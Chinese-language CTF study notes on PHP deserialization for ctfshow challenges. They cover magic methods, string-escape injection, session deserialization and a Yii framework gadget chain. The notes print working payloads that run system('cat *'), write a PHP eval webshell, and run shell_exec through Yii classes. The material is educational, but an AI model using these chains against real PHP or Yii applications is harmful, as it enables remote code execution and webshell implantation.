class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code = 'system("cat *");';
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
GET /?username=xxxxxx&password=xxxxxx HTTP/1.1
Host: c72b08d7-d4fc-4dee-bc67-67c354aea3bc.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17b07e3793842b-03ed5064508bcf8-4c3e257a-1bcab9-17b07e37939c96;user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22system%28%22cat+%2A%22%29%3B%22%3B%7D%7D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 0
在o:11:中间添加+号(url编码形式)即可绕过正则的检验。
没掌握
过于简单
弱比较绕过写文件
__construct
// 触发条件,构造函数,当构造一个对象时调用。
// 对象创建时销毁
__destruct
// 触发条件,析构函数,对象销毁时被调用。
// 序列化时会销毁一次,对象销毁时执行,序列化输出前运行,但不影响序列化内容
__unserialize
// 触发条件,7.4版本以上,反序列化时出发,且可以绕过__wakeup
__sleep()
// 在对象被序列化之前运行
__wakeup()
// 在对象被反序列化之后被调用
__invoke
// 当对象被调用时执行
// 函数形式调用对象时,触发的方法
增加型字符逃逸
关键点:伪造序列化变量**(右单引号直到花括号)**
计算 单词替换增量*n = 要逃逸字符个数**(右单引号直到花括号)**,求n,有时替换名单会给出多组字符串,找到一个正好完成逃逸工作的即可。
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
Payload
?m=1&f=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php即可
Session反序列化
session位置
.\PHPStudyPro\Extensions\tmp\tmp
inc文件
inc通常指的是include的简写,表示这个文件被其他(多个)文件引用,当然最好写成
a.inc.php,这样的好处一是含义依然明确,而是避免将代码直接被访客下载(这种情况有时很严重,比如密码或者密码加密算法)
类似的,还有这样一些常用后缀名:
.class.php 类文件
.ini.php 配置文件
www.zip下载源码,check.php包含了inc.php,其中
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
$_SESSION['user'] = new User('1.php','');
user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"$_POST[a]);?>";s:6:"status";N;}
|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"$_POST[a]);?>";s:6:"status";N;}
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
观察
check.php引用了inc.php
check.php的逻辑当中,当在数据库中未查询到相应结果时,将会对base64形式的$_COOKIE[‘limit’]变量进行解码(此处可利用使php序列化字符串解析器对该字符串进行反序列化,生成相应的对象)。
恰好,在包含的inc.php当中,有User类,且user类的销毁方法可以写文件,且写文件函数当中的变量全部可控。
因此思路为,
在本地创建User对象,利用User对象的Password和Username,传递一句话木马和文件名
将该对象赋值给本地的COOKIE当中的limit变量,limit非1,此时登录将由js逻辑向check.php发起请求,由于check.php的逻辑,且包含了inc.php文件,其中包含了User类,因此,
limit变量在进程当中被反序列化,得以执行销毁函数,写入文件,
此时在www目录下就有了该一句话木马。
SESSION简单的存储结构和使用机理
session_start(); // 开启一个新的或者已有的会话
// 以默认的方式保存SESSION
ini_set('session.serialize_handler', 'php');
$user=new User();
$_SESSION['user']=$user;
user|O:4:"User":1:{s:1:"a";s:5:"admin";}
// 以序列化方式存储SESSION
ini_set('session.serialize_handler', 'php_serialize');
$user=new User();
$_SESSION['user']=$user;
a:1:{s:4:"user";O:4:"User":1:{s:1:"a";s:5:"admin";}}
会话保存的键值对被保存到了SESSION当中,SESSION文件被随机化的命名,并保存在了PHP服务器的tmp文件夹下(形式为sess_xxxxxxxxxxx
),在浏览器的应用和存储中,均可以以COOKIE形式查询到,保存为SESSIONID,键值即为服务器上的SESSION文件名。
以字符逃逸为形式的Session反序列化。
该题的字符逃逸思路和前文262题相同
?m=1&f=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
但是在序列化字符串的提交和反序列化上使用了session的相关内容。
使用浅拷贝/传址符/引用&将两个变量关联,使他们同时变化,即可解决随机数的问题。
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password = 1;
$this->token = &$this->password;
}
}
echo serialize(new ctfshowAdmin());
利用伪协议传递反序列化字符串,代码当中接受了input流,因此我们只需要在请求体当中包含该对象即可。
本题的难点在于,当匹配到ctfshow时,将会抛出异常,导致魔术方法__destruct
无法正常的结束,导致反序列化的利用链无法正常的达到我们想要的结果,
PHP当中的类和函数名均不区分大小写,但是变量区分大小写,而匹配和正则函数却区分大小写,我们可以利用此原理进行绕过。
因此,只要将类名中的任意字符大写,即可实现绕过,
O:7:"ctfshow":2:{s:8:"username";s:0:"";s:8:"password";s:0:"";}
O:7:"Ctfshow":2:{s:8:"username";s:0:"";s:8:"password";s:0:"";}
此时,该逻辑当中的抛出异常被中止了,因此对象得以正常销毁。
另一种方法
当破坏序列化字符串的结构后,即使出现异常,也可以产生析构。
O:7:"ctfshow":2:{a}
本题为YII框架漏洞
利用脚本构造payload-data
(多种方法,写文件,读文件)
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
拼接完整的payload
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=